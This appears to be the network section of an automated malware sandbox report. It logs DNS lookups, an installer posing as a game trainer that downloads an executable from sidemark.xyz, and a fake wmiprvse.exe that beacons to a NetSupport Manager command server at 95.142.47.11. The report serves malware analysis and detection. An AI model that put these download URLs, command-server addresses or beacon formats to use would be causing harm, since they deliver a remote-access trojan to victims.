Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.102	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.113	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.139	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.138	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.932884932 CET	1.1.1.1	192.168.2.5	0xfe1f	No error (0)	accounts.google.com		142.251.111.84	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.933748007 CET	1.1.1.1	192.168.2.5	0x4260	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:13.991481066 CET	1.1.1.1	192.168.2.5	0x35d6	No error (0)	axsboe-campaign.com		104.21.37.216	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.991481066 CET	1.1.1.1	192.168.2.5	0x35d6	No error (0)	axsboe-campaign.com		172.67.213.153	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:15.697165012 CET	1.1.1.1	192.168.2.5	0xcd0a	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:15.697308064 CET	1.1.1.1	192.168.2.5	0x758a	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392381907 CET	1.1.1.1	192.168.2.5	0xe9e3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.147	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.103	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.99	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.106	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.105	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.392438889 CET	1.1.1.1	192.168.2.5	0x5184	No error (0)	www.google.com		142.251.16.104	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:19.720479965 CET	1.1.1.1	192.168.2.5	0x8ed6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:19.721638918 CET	1.1.1.1	192.168.2.5	0xa8c5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:19.942338943 CET	1.1.1.1	192.168.2.5	0x9e29	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:19.942363977 CET	1.1.1.1	192.168.2.5	0x7513	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:20.351063013 CET	1.1.1.1	192.168.2.5	0x385d	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:20.351572037 CET	1.1.1.1	192.168.2.5	0x1e5e	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:21.126123905 CET	1.1.1.1	192.168.2.5	0x7d06	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:21.127217054 CET	1.1.1.1	192.168.2.5	0x8753	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:21.151248932 CET	1.1.1.1	192.168.2.5	0x2091	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:21.151248932 CET	1.1.1.1	192.168.2.5	0x2091	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:21.151453018 CET	1.1.1.1	192.168.2.5	0xae3c	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:25.646199942 CET	1.1.1.1	192.168.2.5	0x1a31	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:25.646279097 CET	1.1.1.1	192.168.2.5	0x96fb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:25.877908945 CET	1.1.1.1	192.168.2.5	0xef2f	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:25.879606962 CET	1.1.1.1	192.168.2.5	0x9a49	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:26.058242083 CET	1.1.1.1	192.168.2.5	0xd18a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:26.058923960 CET	1.1.1.1	192.168.2.5	0xeae9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:27.769851923 CET	1.1.1.1	192.168.2.5	0xd62a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:27.770410061 CET	1.1.1.1	192.168.2.5	0xded2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:31.751269102 CET	1.1.1.1	192.168.2.5	0xaea0	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:31.752137899 CET	1.1.1.1	192.168.2.5	0xf8be	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:32.453641891 CET	1.1.1.1	192.168.2.5	0x3ad4	No error (0)	pstbbk.com		157.230.96.32	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.482036114 CET	1.1.1.1	192.168.2.5	0xafe1	No error (0)	collect.installeranalytics.com		54.165.145.62	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.482036114 CET	1.1.1.1	192.168.2.5	0xafe1	No error (0)	collect.installeranalytics.com		54.165.38.232	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.547023058 CET	1.1.1.1	192.168.2.5	0x7f33	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:32.547544956 CET	1.1.1.1	192.168.2.5	0xc31c	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:33.580645084 CET	1.1.1.1	192.168.2.5	0x12d0	No error (0)	allroadslimit.com		104.21.74.109	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:33.580645084 CET	1.1.1.1	192.168.2.5	0x12d0	No error (0)	allroadslimit.com		172.67.157.111	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:35.666065931 CET	1.1.1.1	192.168.2.5	0x69cc	Server failure (2)	231005002055611.bcn.lca62.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:35.977354050 CET	1.1.1.1	192.168.2.5	0xeebd	No error (0)	ambadevgroup.info		37.1.198.251	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:36.069859028 CET	1.1.1.1	192.168.2.5	0x3cbb	No error (0)	dl.likeasurfer.com		172.67.150.192	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:36.069859028 CET	1.1.1.1	192.168.2.5	0x3cbb	No error (0)	dl.likeasurfer.com		104.21.32.100	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:38.650110960 CET	1.1.1.1	192.168.2.5	0x331b	No error (0)	mysoftwareusa.info		37.1.198.251	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:52.690351963 CET	1.1.1.1	192.168.2.5	0xc20c	No error (0)	tankqueueipjsh.pw		104.21.83.145	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:52.690351963 CET	1.1.1.1	192.168.2.5	0xc20c	No error (0)	tankqueueipjsh.pw		172.67.177.113	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.302489996 CET	1.1.1.1	192.168.2.5	0x476a	Name error (3)	110.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.538996935 CET	1.1.1.1	192.168.2.5	0xc394	Name error (3)	111.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.868948936 CET	1.1.1.1	192.168.2.5	0xfb4e	Name error (3)	112.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:55.084594011 CET	1.1.1.1	192.168.2.5	0x2928	Name error (3)	113.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:55.212861061 CET	1.1.1.1	192.168.2.5	0x537b	Name error (3)	114.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:55.301589012 CET	1.1.1.1	192.168.2.5	0xef4c	Name error (3)	115.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:59.403383970 CET	1.1.1.1	192.168.2.5	0x14a0	Name error (3)	110.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:59.664033890 CET	1.1.1.1	192.168.2.5	0xa1dc	Name error (3)	111.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.225112915 CET	1.1.1.1	192.168.2.5	0x4710	Name error (3)	112.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.288438082 CET	1.1.1.1	192.168.2.5	0x7fe8	Name error (3)	113.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.298340082 CET	1.1.1.1	192.168.2.5	0x8eb2	Name error (3)	115.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.305320978 CET	1.1.1.1	192.168.2.5	0x6a17	Name error (3)	114.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:16.480035067 CET	1.1.1.1	192.168.2.5	0xf522	Name error (3)	0.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:53.740021944 CET	1.1.1.1	192.168.2.5	0xc64a	No error (0)	m74b54.space		77.105.136.3	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:54.885476112 CET	1.1.1.1	192.168.2.5	0x7cd5	Name error (3)	0.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.52.223	80	2952	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:50:47.610749006 CET	267	OUT	GET /ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ==&sub=&ps=655ed8e14a15c HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sparksteam.site
Dec 6, 2023 14:50:48.258832932 CET	916	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:50:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IR2OVzAhUNRB7mqgMFHSAlkJQZaANPe5R1p2XqrKLLyCNLWe5L8imY14y1s3XEv7Wsl25GCy95WMcfatNhhrBkMwCgzwM0cSeY1QxPAwAsbYfNPlPAU34i%2Fs5KOikV%2FqwFA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314fffbc84507b6-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 73 69 64 65 6d 61 72 6b 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 49 4e 2e 70 68 70 3f 73 75 62 3d 26 73 6f 75 72 63 65 3d 33 38 39 30 26 73 31 3d 34 37 36 37 30 31 30 30 26 74 69 74 6c 65 3d 63 6d 6c 32 5a 58 49 74 59 32 6c 30 65 53 31 79 61 58 5a 68 62 43 31 7a 61 47 39 33 5a 47 39 33 62 69 31 30 63 6d 46 70 62 6d 56 79 4c 54 45 31 4c 58 59 78 4c 54 67 74 4c 6d 56 34 5a 51 25 33 44 25 33 44 26 74 69 3d 31 37 30 31 38 37 30 36 34 38 Data Ascii: http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648
Dec 6, 2023 14:50:51.420691967 CET	157	OUT	GET /pill.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sparksteam.site
Dec 6, 2023 14:50:52.420404911 CET	653	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:50:52 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PY0I6Sn9BK3tdaitGimZnVZpsI1tC%2BJZIbjZotqzJbESelL2GlzXF7GibjK0kV8hK1DJIT6hbE2ACoR6DhFeLZfle1ixl0cvJIznA%2BTWKcP%2FZTO4jSNXk5au4pS0nJGGhm4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83150013ab4807b6-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.165.204	80	2952	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:50:48.518280029 CET	278	OUT	GET /pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: sidemark.xyz
Dec 6, 2023 14:50:50.797415972 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:50:50 GMT Content-Type: application/force-download Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="65707c2cac250_pe.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vEHDhdW2iVAFQzZPQLV70wRMlxsOaMSdEL5WmzsZiJ4eeXmlzg4caDVjiBFSaQy169qmP7u%2BntUYFkmx6bnaH3Lvw2kDjEbNgs%2Fv72oA9aiFHbtxNKPhJ6DI9D71WRs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 831500017e142009-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 31 35 61 33 0d 0a 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 18 f2 ec 63 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 52 0b 00 00 5e 01 00 00 00 00 00 ec 5e 0b 00 00 10 00 00 00 70 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 06 00 00 00 06 00 01 00 00 00 00 00 00 80 0d 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 40 0c 00 9a 00 00 00 00 20 0c 00 dc 0f 00 00 00 70 0c 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 22 0c 00 54 02 00 00 00 30 0c 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 39 0b 00 00 10 00 00 00 3a 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 88 16 00 00 00 50 0b 00 00 18 00 00 00 3e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 37 00 00 00 70 0b 00 00 38 00 00 00 56 0b 00 00 00 00 00 00 Data Ascii: 15a3MZP@!L!This program must be run under Win32$7PELcR^^p@@@@ p`"T0.text9: `.itextP> `.data7p8V
Dec 6, 2023 14:50:50.797514915 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 e8 6d 00 00 00 b0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 dc 0f 00 00 00 20 0c 00 00 10 00 00 00 8e 0b 00 00 00 00 00 00 00 00 Data Ascii: @.bssm.idata @.didata0@.edata@@@.tlsP.rdata]`
Dec 6, 2023 14:50:50.797566891 CET	1340	IN	Data Raw: 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 05 00 0b f4 ca 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 Data Ascii: D2@D3D4@&op_Equality@@@Left@@Right\|K&op_Inequality@@@Left@@Right\|KEmpty@@\|KCreate@@Data@BigEndian\|KCreate@@@D
Dec 6, 2023 14:50:50.797617912 CET	1340	IN	Data Raw: 00 fe ff 5e 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 5c 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 88 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 5c 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 88 1f Data Ascii: ^@MTObject&\@Create@Self$\@Free@Self)\|KDisposeOf@Self>\@InitInstance@Self@Instance/L]@CleanupInstance@Self
Dec 6, 2023 14:50:50.797667027 CET	1124	IN	Data Raw: 5d 40 00 0b 47 65 74 48 61 73 68 43 6f 64 65 03 00 9c 10 40 00 08 00 01 08 88 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 14 60 40 00 08 54 6f 53 74 72 69 6e 67 03 00 b8 12 40 00 08 00 02 08 88 1f 40 00 00 00 04 53 65 6c 66 02 00 40 b8 12 40 Data Ascii: ]@GetHashCode@@Self3`@ToString@@Self@@[`@SafeCallException(@@Self@ExceptObject@ExceptAddr1,`@AfterConstruction@Self10`@Befor
Dec 6, 2023 14:50:50.797717094 CET	1340	IN	Data Raw: 32 64 34 30 0d 0a 00 00 00 00 00 e6 21 40 00 08 00 00 00 b0 1f 40 00 b0 5d 40 00 b8 5d 40 00 14 60 40 00 0c 60 40 00 2c 60 40 00 30 60 40 00 34 60 40 00 28 60 40 00 88 5c 40 00 a4 5c 40 00 d8 5c 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 Data Ascii: 2d40!@@]@]@`@`@,`@0`@4`@(`@\@\@\@VolatileAttribute!@VolatileAttribute!@ @System"@$#@"@"@@]@]@`@`@,`@0`@4`@(`@\@\@\@"@D"@
Dec 6, 2023 14:50:50.797765970 CET	1340	IN	Data Raw: 00 07 41 4f 62 6a 65 63 74 02 00 02 00 b4 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 e8 26 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 Data Ascii: AObject&@IInterfaceFSystem&@IEnumerable&@System'@IDispatch&@FSystemD$D$D$M'@W'@a'@Fl'@
Dec 6, 2023 14:50:50.797835112 CET	1340	IN	Data Raw: 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 73 65 72 76 65 64 32 02 00 cc 10 40 00 06 00 00 00 02 09 52 65 73 65 72 76 65 64 33 02 00 Data Ascii: @VType@Reserved1@Reserved2@Reserved3@VSmallInt@VInteger@VSingle@VDouble@VCurrency)@VDate@VOleStr@VDispatch(@
Dec 6, 2023 14:50:50.797940016 CET	1340	IN	Data Raw: 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 d4 30 40 00 0d 0a 54 54 79 70 65 54 61 62 6c 65 fc ff ff 7f ff ff ff 1f 00 11 40 00 01 00 00 00 00 02 00 00 f8 30 40 00 14 0a 50 54 79 70 65 54 61 Data Ascii: served1@VType0@TTypeTable@0@PTypeTable0@1@PPackageTypeInfo(1@,1@TPackageTypeInfo@TypeCount0@TypeTable@UnitCount4)@UnitNames
Dec 6, 2023 14:50:50.798049927 CET	1340	IN	Data Raw: 00 11 40 00 0c 00 00 00 02 10 45 78 63 65 70 74 69 6f 6e 41 64 64 72 65 73 73 02 00 e4 10 40 00 10 00 00 00 02 10 4e 75 6d 62 65 72 50 61 72 61 6d 65 74 65 72 73 02 00 00 00 00 00 14 00 00 00 02 14 45 78 63 65 70 74 69 6f 6e 49 6e 66 6f 72 6d 61 Data Ascii: @ExceptionAddress@NumberParametersExceptionInformation@ExceptAddr@ExceptObject%#L%(#L%@$L%$L%#L%#L%#L%#L%H$L%P#L%#L%l#L%D$L
Dec 6, 2023 14:50:50.798099041 CET	1340	IN	Data Raw: 89 04 11 c3 90 8b 48 04 8b 10 39 d1 89 11 89 4a 04 74 02 c3 90 81 e9 78 bb 4b 00 89 ca c1 e9 03 0f b6 d6 b8 fe ff ff ff d3 c0 21 04 95 f8 ba 4b 00 75 e0 b8 fe ff ff ff 89 d1 d3 c0 21 05 f4 ba 4b 00 c3 8b c0 81 ea 30 0b 00 00 c1 ea 08 81 ea ff 03 Data Ascii: H9JtxK!Ku!K0!xKQ9PAtxKKK=KuK@u%HK)JHT0g#P0r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49721	95.142.47.11	1203	3160	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:11.441983938 CET	270	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 95.142.47.11Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Dec 6, 2023 14:52:11.658546925 CET	269	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.3 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 61Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \W&=@Q{w}oXxf Data Raw: Data Ascii:
Dec 6, 2023 14:52:11.662801981 CET	473	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 225Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raL_Me0D#rtr5=Ifp">0MQYz8D6 V{r?(+j}[e0=@L\#=J8e6Qz8A ] Data Raw: Data Ascii:
Dec 6, 2023 14:52:11.879833937 CET	360	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.3 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 152Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~G}&[}X),,Dq,()4]%y-A9H=n :!b<DWiJCz:;<=J&$Rb'h[TjI Data Raw: Data Ascii:
Dec 6, 2023 14:52:11.980309010 CET	324	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$Cj_0MtsM6 Data Raw: Data Ascii:
Dec 6, 2023 14:52:12.181452990 CET	324	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$CZeN>j"Bml` Data Raw: Data Ascii:
Dec 6, 2023 14:53:04.044050932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:15.671019077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:17.287038088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:17.588963985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
